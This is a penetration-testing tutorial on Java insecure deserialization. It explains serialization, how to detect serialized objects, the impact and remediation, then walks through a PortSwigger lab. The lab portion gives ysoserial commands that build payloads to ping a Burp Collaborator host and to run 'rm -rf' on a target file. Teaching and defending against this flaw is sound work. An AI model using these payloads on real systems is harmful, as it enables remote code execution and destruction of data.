Introduction
Here, I will try to explain one of OWASP’s top ten risks in web, which is the insecure deserialization vulnerability from a penetration testing perspective, starting from how to serialize and then deserialize an object and then analyzing the vulnerability from white and black box approach and afterward showing the impact and how to remediate it. Finally, solving a lab to demonstrate how an attacker could abuse this vulnerability.
Deserialization is the opposite of serialization, which moves an object from memory and saves it as a file on the disk that could be transferred through the network or saved for later use.
Suppose an application deserializes an object that the malicious user controls; this could cause a high-risk issue. In that case, the user could send a malicious payload that could lead to a remote code execution attack, one of the most serious attacks possible.
Serialization & Deserialization using Java
Here, I will demonstrate how to serialize and deserialize an object in Java, and the concept will be similar in other languages.
Serializing an Object
You could serialize an object by doing the following:
First, creating an object from the student class
public class Student implements java.io.Serializable {
public String name;
public String major;
public int ID;
public transient double GPA;
public void info() {
System.out.println(name + " is studying " + major + " with a GPA of " + GPA);
}
}
keep in mind that to be able to serialize an object, you need to meet the following requirements:
1 – The class must implement the java.io.Serializable interface.
2 – All of the fields in the class must be serializable. If a field is not serializable, it must be marked transient. Similar to the GPA variable above.
Then let’s create the serialization code as bellow:
import java.io.*;
public class Serialization {
public static void main(String [] args) {
//Creating a student object and assign value to it
Student student = new Student();
student.name = "Waleed";
student.major = "Software engineer";
student.ID = 434123456;
student.GPA = 3.89;
//Serialize the student object and writing it to a file
try {
FileOutputStream fileOut = new FileOutputStream("./files/student.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(student);
out.close();
fileOut.close();
System.out.printf("Serialized data is saved in ./files/student.ser");
} catch (IOException i) {
i.printStackTrace();
}
}
}
After running the code, the student object has been serialized and written to a file

Deserializing an Object
Now we can deserialize the student object by doing the following
import java.io.*;
public class Deserialization {
public static void main(final String [] args) {
Student student = null;
//now we will read the serialized object from the file
try {
final FileInputStream fileIn = new FileInputStream("./files/student.ser");
final ObjectInputStream in = new ObjectInputStream(fileIn);
student = (Student) in.readObject();
in.close();
fileIn.close();
} catch (final IOException i) {
i.printStackTrace();
return;
} catch (final ClassNotFoundException c) {
System.out.println("Student class not found");
c.printStackTrace();
return;
}
//now printing the values of deserialized object
System.out.println("Deserialized Student...");
System.out.println("Name: " + student.name);
System.out.println("Major: " + student.major);
System.out.println("ID: " + student.ID);
System.out.println("GPA: " + student.GPA);
}
}
After running the deserialization code above, the program will read the serialized object file then read its content

But note that the GPA value is set to zero because it was marked as transient, and the actual value was not serialized from the beginning
Identifying a Serialized Object
Below, I will try to shed some light on this subject from white and black box perspectives.
White-Box Approach
If you can search the source code, you should search inside the project for any input controlled by the user to the following Java API for potential insecure deserialization vulnerability:
- Serializable
- XMLdecoder
- XStream with from XML method (xstream version <= v1.46 is vulnerable to the serialization issue)
- ObjectInputStream with readObject
- Uses of readObject, readObjectNodData, readResolve or readExternal
- ObjectInputStream.readUnshared
For example, you can search it using the following command:
grep -r "ObjectInputStream" ./*

or by using the next tool Gadget Inspector to analyze the source code statically.
Black-Box Approach
If you capture any data with the following patterns, this may suggest a Java serialization stream.
HEX
Let’s assume that somehow you have downloaded or captured a file from a web application that starts with the hexadecimal format “aced” is most likely a Java serialized object like the below picture.
xxd student.ser
This is the hex value of a serialized object file

The same thing can be done if you capture the serialized traffic

Now, let’s send the cookie value to decode it

And now, if we checked the decoded part at the end of the picture below, it starts with the magic byte of a Java serialized object

Base64
Base64 format of the Java serialized object will start with “rO0” like the following picture

The same can be seen if you capture similar traffic of data

HTTP Header
Also, you can check the “Content-type” HTTP response header is set to the following Content-Type: application/x-java-serialized-object it may indicate that this is a serialized object stream.
Impact
Since we know how to serialize and deserialize an object, what harm this feature could bring to us? It could bring a lot of dangerous vulnerabilities such as privilege escalation, arbitrary file access, and denial-of-service attacks and usually this could lead to Remote Code Execution (RCE).
Remediation
Keep in mind that there is no “silver bullet” that can prevent deserialization attacks. It is best to avoid taking any serialized input from users or untrusted sources and deserialize it, but if deserializing is a must, then implementing a few of the following techniques are a good way for mitigating deserialization attacks in Java:
- Log deserialization exceptions and failures, such as where the incoming type is not the expected type, or the deserialization throws exceptions.
- Isolating and running code that deserializes in low privilege environments when possible.
- If possible, only permit primitive data types like byte, short, int, long, float, double, boolean, and char.
- In your code, override the ObjectInputStream.resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.
- Restricting or monitoring incoming and outgoing network connectivity from containers or servers that deserialize.
Abusing Deserialization Vulnerability
I will demonstrate how to exploit this vulnerability by doing this lab from PortSwigger academy. But first, let’s learn about gadgets and why we need them.
Gadgets are code that exists inside the application. Attackers use it to accomplish their goals, but a gadget may not by itself do anything harmful with user input. Still, an attacker could pass the input value into a dangerous gadget by chaining multiple gadgets together. But manually identifying gadget chains require source code access and also can be a difficult task to do; fortunately, there are some tools to automate the gadget finding process such as gadgetinspector, and also there are tools such as ysoserial with a range of pre-discovered chains that have been successfully tested and exploited on other websites.
Lab
The objective of this lab is to delete a file from the server, as shown in the below picture

After starting the lab and logging into the system using the credentials provided earlier

If we intercept the request using BurpSuite (an HTTP proxy)

Then intercept the response by doing the following

A cookie is set that looks like a Java serialized object encoded using base64 then URL encoded, we know this because it starts with “rO0A” as described in the black-box section scenario.

Also, we can double-check by decoding it

We can see in the decoded part that it looks like a compiled Java code. Now we can check if it is vulnerable to insecure deserialization. Let’s start with creating a payload using Ysoserial. First, let’s download ysoserial using the following command
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

Since we don’t know which gadget will work, we need a proof of concept before creating the payload to get Remote Code Execution (RCE). Let’s start with setting up Burp Collaborator by doing the following

Then copy the URL of the collaborator client

Now since everything is set up, let’s create a payload that will ping my collaborator client, and I used the “CommonsCollections2” gadget because it is the latest version of this library in the tool. Also, in order to run the command, we need:
- generate the malicious serialized object.
- Encode it into base64.
- URL encode it.
- Paste it into the cookie field.
Because this is how we did receive it:
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 'ping -c 1 ne56sqoh77lwer2ly6cpoidy8pef24.burpcollaborator.net' | base64 -w 0
- Java -jar = to run the ysoserial tool
- CommonsCollections2 = is the gadget we used to run our command
- Value between the quotation marks(”) = command we want to run to ping our collaborator client once
- Pipe mark(|) = sending the output of the left side as an input to the right side
- base64 -w0 = encode it as base64 and -w0 to disable line wrapping

Let’s copy the payload and URL encode it then put it in the cookie field and send it to see if we receive a ping from the web-server

After sending the payload we got a connection on collaborator client

This means we can run commands on the web server. Let’s delete Carlos’s file to complete the objective of this lab by writing the following command
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 'rm -rf /home/carlos/morale.txt' | base64 -w 0

Now let’s encode the URL and send it

And with this we solved the challenge

Conclusion
Insecure deserialization vulnerability is a serious issue, and one of OWASP’s top 10 risks which were introduced first in the 2017 version and also in the 2021 version. Therefore it is essential to verify every input supplied from untrusted sources and to educate developers about such vulnerabilities.